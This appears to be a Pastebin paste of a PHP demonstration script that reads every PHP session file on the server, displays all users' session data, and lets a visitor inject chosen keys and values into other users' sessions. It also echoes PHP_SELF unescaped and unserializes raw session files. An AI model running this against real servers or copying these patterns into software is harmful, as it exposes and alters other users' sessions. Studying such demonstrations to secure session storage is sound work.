API tools faq
paste
Advertisement
Guest User

Manipulating Other Users' PHP Sessions

a guest
Dec 9th, 2011
251
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.49 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3.     // The "unserializesession" function is from
  4.     // http://www.php.net/manual/en/function.session-decode.php#101687
  5.  
  6.     function unserializesession( $data )
  7.     {
  8.         if(  strlen( $data) == 0)
  9.         {
  10.             return array();
  11.         }
  12.  
  13.         // match all the session keys and offsets
  14.         preg_match_all('/(^|;|\})([a-zA-Z0-9_]+)\|/i', $data, $matchesarray, PREG_OFFSET_CAPTURE);
  15.  
  16.         $returnArray = array();
  17.  
  18.         $lastOffset = null;
  19.         $currentKey = '';
  20.         foreach ( $matchesarray[2] as $value )
  21.         {
  22.             $offset = $value[1];
  23.             if(!is_null( $lastOffset))
  24.             {
  25.                 $valueText = substr($data, $lastOffset, $offset - $lastOffset );
  26.                 $returnArray[$currentKey] = unserialize($valueText);
  27.             }
  28.             $currentKey = $value[0];
  29.  
  30.             $lastOffset = $offset + strlen( $currentKey )+1;
  31.         }
  32.  
  33.         $valueText = substr($data, $lastOffset );
  34.         $returnArray[$currentKey] = unserialize($valueText);
  35.  
  36.         return $returnArray;
  37.     }
  38.  
  39.     // The "session_raw_encode" function is from
  40.     // http://www.php.net/manual/en/function.session-encode.php#76425
  41.  
  42.     function session_raw_encode( $array, $safe = true ) {
  43.  
  44.         // the session is passed as refernece, even if you dont want it to
  45.         if( $safe )
  46.             $array = unserialize(serialize( $array )) ;
  47.  
  48.  
  49.         $raw = '' ;
  50.         $line = 0 ;
  51.         $keys = array_keys( $array ) ;
  52.         foreach( $keys as $key ) {
  53.             $value = $array[ $key ] ;
  54.             $line ++ ;
  55.  
  56.             $raw .= $key .'|' ;
  57.  
  58.             if( is_array( $value ) && isset( $value['huge_recursion_blocker_we_hope'] )) {
  59.                 $raw .= 'R:'. $value['huge_recursion_blocker_we_hope'] . ';' ;
  60.             } else {
  61.                 $raw .= serialize( $value ) ;
  62.             }
  63.             $array[$key] = Array( 'huge_recursion_blocker_we_hope' => $line ) ;
  64.         }
  65.  
  66.         return $raw ;
  67.  
  68.     }
  69.  
  70.     function get_sessions()
  71.     {
  72.         $sessions = array();
  73.  
  74.         $iterator = new DirectoryIterator(session_save_path());
  75.  
  76.         foreach ($iterator as $item)
  77.         {
  78.             if ($item->isFile())
  79.             {
  80.                 if (substr($item->getFilename(), 0, 5) == 'sess_')
  81.                 {
  82.                     $session_id = substr($item->getFilename(), 5);
  83.  
  84.                     $sessions[$session_id] = unserializesession(file_get_contents($item->getPathname()));
  85.                 }
  86.             }
  87.         }
  88.  
  89.         return $sessions;
  90.     }
  91.  
  92.     session_start();
  93.  
  94.     if (
  95.         isset($_POST['session_id']) && is_string($_POST['session_id']) &&
  96.         isset($_POST['key']) && is_string($_POST['key']) &&
  97.         isset($_POST['value']) && is_string($_POST['value'])
  98.     )
  99.     {
  100.         $sessions = get_sessions();
  101.  
  102.         if (array_key_exists($_POST['session_id'], $sessions))
  103.         {
  104.             $sessions[$_POST['session_id']][$_POST['key']] = $_POST['value'];
  105.  
  106.             file_put_contents(session_save_path() . DIRECTORY_SEPARATOR . "sess_{$_POST['session_id']}", session_raw_encode($sessions[$_POST['session_id']]));
  107.         }
  108.     }
  109.     elseif (isset($_POST['destroy_this_session']))
  110.     {
  111.         session_destroy();
  112.         session_start();
  113.     }
  114.  
  115.     $_SESSION['user_agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
  116.     session_write_close();
  117.     $sessions = get_sessions();
  118.  
  119. ?>
  120. <!DOCTYPE html>
  121. <html>
  122.     <head>
  123.         <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  124.         <title>Manipulating Other Users' PHP Sessions</title>
  125.     </head>
  126.     <body>
  127.         <h1>Manipulating Other Users' PHP Sessions</h1>
  128.  
  129.         <p>Instructions: open this PHP script in at least two different browsers and mess around with each other's sessions.</p>
  130.  
  131.         <p><code>session_save_path() = <?php echo session_save_path(); ?></code></p>
  132.  
  133.         <p>This browser's session ID: <code><?php echo session_id(); ?></code></p>
  134.  
  135.         <h2>Current Session Data</h2>
  136.  
  137.         <pre><?php print_r($sessions); ?></pre>
  138.  
  139.         <hr>
  140.  
  141. <?php
  142.  
  143.     if (count($sessions) == 1)
  144.     {
  145.         echo '<p>You must visit this page with another browser in order to continue on.</p>';
  146.     }
  147.     else
  148.     {
  149.  
  150. ?>
  151.         <p>Choose a session ID and enter the key and value you'd like to inject into their session.</p>
  152.  
  153.         <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  154.             <select name="session_id">
  155. <?php
  156.  
  157.         foreach ($sessions as $session_id => $session_data)
  158.         {
  159.             if ($session_id == session_id())
  160.             {
  161.                 continue;
  162.             }
  163.  
  164.             echo "<option value=\"$session_id\">$session_id</option>";
  165.         }
  166.  
  167. ?>
  168.             </select>
  169.             <label for="key">Key:</label> <input type="text" name="key" id="key">
  170.             <label for="value">Value:</label> <input type="text" name="value" id="value">
  171.             <input type="submit" value="Submit">
  172.         </form>
  173. <?php
  174.  
  175.     }
  176.  
  177. ?>
  178.         <hr>
  179.  
  180.         <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  181.             <input type="hidden" name="destroy_this_session" value="true">
  182.             <input type="submit" value="Destroy This Browser's Session">
  183.         </form>
  184.     </body>
  185. </html>
  186.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!